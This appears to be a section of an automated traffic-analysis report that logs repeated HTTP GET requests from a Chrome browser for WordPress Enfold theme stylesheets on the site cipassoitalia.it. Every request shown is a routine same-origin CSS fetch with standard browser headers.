Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/grid.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/base.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/layout.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/blog/blog.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/postslider/postslider.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons/buttons.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttonrow/buttonrow.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons_fullwidth/buttons_fullwidth.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/catalogue/catalogue.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/comments/comments.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact/contact.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contentslider/contentslider.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdown/countdown.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery/gallery.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/google_maps/google_maps.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/grid_row/grid_row.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/heading/heading.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/hr/hr.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icon/icon.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconbox/iconbox.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlist/iconlist.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image/image.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry_entries/masonry_entries.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/avia-snippet-site-preloader.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notification/notification.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers/numbers.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/portfolio.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobox/promobox.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/search/search.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_accordion/slideshow_accordion.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_feature_image/slideshow_feature_image.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
